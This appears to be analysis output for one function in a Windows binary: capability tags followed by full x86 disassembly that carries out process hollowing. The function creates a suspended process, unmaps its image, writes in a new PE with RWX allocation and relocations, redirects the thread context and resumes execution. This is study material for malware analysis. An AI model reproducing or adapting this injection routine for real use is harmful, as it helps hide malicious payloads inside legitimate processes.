Function at 0x405a60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7fc
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], edi
test edi, edi
je 0x405dc8
push 0x401350
push 0x401368
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x405dc8
mov ebx, dword [edi + 0x3c]
mov eax, 0x14c
add ebx, edi
mov dword [ebp - 4], ebx
cmp word [ebx + 4], ax
jne 0x405dc8
movzx eax, word [ebx + 0x5c]
cmp eax, 3
jne 0x405ac7
mov ecx, 0x401378
jmp 0x405ad5
cmp eax, 2
jne 0x405dc8
mov ecx, 0x4013c0
xor eax, eax
mov byte [ebp + eax - 0x20], 0
inc eax
cmp eax, 0x10
jb 0x405ad7
xor eax, eax
mov byte [ebp + eax - 0xa8], 0
inc eax
cmp eax, 0x44
jb 0x405ae4
xor eax, eax
nop dword [eax]
nop dword [eax + eax]
mov byte [ebp + eax - 0x378], 0
inc eax
cmp eax, 0x2cc
jb 0x405b00
xor eax, eax
mov byte [ebp + eax - 0x5c], 0
inc eax
cmp eax, 0x18
jb 0x405b12
mov dword [ebp - 0x378], 0x10007
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xa8]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405dbf
lea eax, [ebp - 0x44]
push eax
push 0x18
lea eax, [ebp - 0x5c]
push eax
push 0
push dword [ebp - 0x20]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
push 0
push 0x480
lea eax, [ebp - 0x7f8]
push eax
push dword [ebp - 0x58]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x378]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x405daf
push dword [ebp - 0x7f0]
push dword [ebp - 0x20]
call esi
test eax, eax
jne 0x405daf
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ebp - 0x7f0]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x7f0]
mov edx, ecx
sub edx, dword [ebx + 0x34]
push 0
push dword [ebx + 0x54]
mov dword [ebx + 0x34], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push eax
push dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], edx
call ebx
mov eax, dword [ebp - 4]
xor edx, edx
xor esi, esi
movzx eax, word [eax + 6]
mov ecx, eax
cmp dx, ax
jae 0x405c3c
mov ecx, dword [ebp - 0x24]
movzx eax, si
lea eax, [eax + eax*4]
lea ecx, [ecx + eax*8]
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x405c2d
push 0
push dword [ecx + 0x10]
add eax, edi
push eax
mov eax, dword [ecx + 0xc]
add eax, dword [ebp - 0x10]
push eax
push dword [ebp - 0x20]
call ebx
mov eax, dword [ebp - 4]
inc esi
movzx eax, word [eax + 6]
cmp si, ax
jb 0x405c06
mov ecx, eax
cmp dword [ebp - 0x28], 0
je 0x405d70
xor esi, esi
xor eax, eax
mov dword [ebp - 0x38], esi
cmp ax, cx
jae 0x405d70
xor edx, edx
nop dword [eax + eax]
inc edx
cmp byte [edx + 0x401404], 0
jne 0x405c60
mov ecx, dword [ebp - 0x24]
movzx eax, si
lea eax, [eax + eax*4]
lea ecx, [ecx + eax*8]
mov dword [ebp - 0x2c], ecx
mov esi, ecx
test edx, edx
je 0x405c9e
mov edi, 0x401404
sub edi, ecx
mov al, byte [esi]
lea ecx, [edi + esi]
dec edx
lea esi, [esi + 1]
cmp al, byte [ecx]
jne 0x405d56
test edx, edx
jne 0x405c86
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 4]
xor ebx, ebx
mov edx, dword [edx + 0xa4]
mov dword [ebp - 0x34], edx
test edx, edx
je 0x405d56
mov eax, dword [ecx + 0x14]
mov ecx, edx
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
nop
lea edx, [eax + ebx]
add ebx, 8
add edx, esi
mov dword [ebp - 0x3c], edx
mov edi, dword [edx + 4]
sub edi, 8
shr edi, 1
je 0x405d4e
mov ecx, eax
nop dword [eax + eax]
lea eax, [ecx + ebx]
add ebx, 2
movzx esi, word [eax + esi]
mov eax, 0x1000
cmp si, ax
jb 0x405d40
push 0
and esi, 0xfff
mov dword [ebp - 8], 0
add esi, dword [edx]
lea eax, [ebp - 8]
add esi, dword [ebp - 0x10]
push 4
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
lea eax, [ebp - 8]
push 0
push 4
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x14]
mov ecx, eax
mov dword [ebp - 0x30], eax
jmp 0x405d43
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0xc]
sub edi, 1
jne 0x405ce0
mov ecx, dword [ebp - 0x34]
cmp ebx, ecx
jb 0x405cc0
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 4]
inc esi
mov dword [ebp - 0x38], esi
cmp si, word [eax + 6]
jb 0x405c56
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2d4]
add eax, 8
push eax
push dword [ebp - 0x20]
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov dword [ebp - 0x2c8], eax
lea eax, [ebp - 0x378]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret